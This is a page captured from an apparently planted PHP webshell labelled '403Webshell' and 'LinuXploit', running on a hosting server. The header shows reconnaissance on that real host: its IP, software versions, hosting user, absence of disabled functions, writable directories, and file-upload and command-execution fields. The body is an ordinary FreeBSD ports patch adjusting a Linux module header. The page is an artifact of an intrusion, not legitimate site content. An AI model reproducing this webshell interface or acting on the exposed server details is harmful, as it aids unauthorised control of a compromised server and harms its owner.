403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.238
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/misc/dahdi-kmod26/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/misc/dahdi-kmod26/files/patch-include-linux-module.h
--- include/linux/module.h.orig	2012-03-26 17:40:58 UTC
+++ include/linux/module.h
@@ -38,16 +38,22 @@ int _linux_module_modevent(struct module *mod, int typ
 	_LINUX_MODULE(name);						\
 	DEV_MODULE(name, _linux_module_modevent, THIS_MODULE)
 
+#if __FreeBSD_version >= 1400058
 #define LINUX_DRIVER_MODULE(name, busname, driver, devclass)		\
 	_LINUX_MODULE(name);						\
+	DRIVER_MODULE(name, busname, driver, _linux_module_modevent, THIS_MODULE);
+#else
+#define LINUX_DRIVER_MODULE(name, busname, driver, devclass)		\
+	_LINUX_MODULE(name);						\
 	DRIVER_MODULE(name, busname, driver, devclass, _linux_module_modevent, THIS_MODULE);
+#endif
 
 void _linux_module_ptr_sysinit(void *arg);
 
 #define _module_ptr_args	__CONCAT(_module_ptr_args_, __LINE__)
 #define _module_ptr_init(field, val)					\
 	static struct module_ptr_args _module_ptr_args = {		\
-		(const void **) &(THIS_MODULE->field), val		\
+		(const void **) (uintptr_t) &(THIS_MODULE->field), val	\
 	};								\
 	SYSINIT(__CONCAT(_module_ptr_args, _init),			\
 		SI_SUB_KLD, SI_ORDER_FIRST,				\

Youez - 2016 - github.com/yon3zu
LinuXploit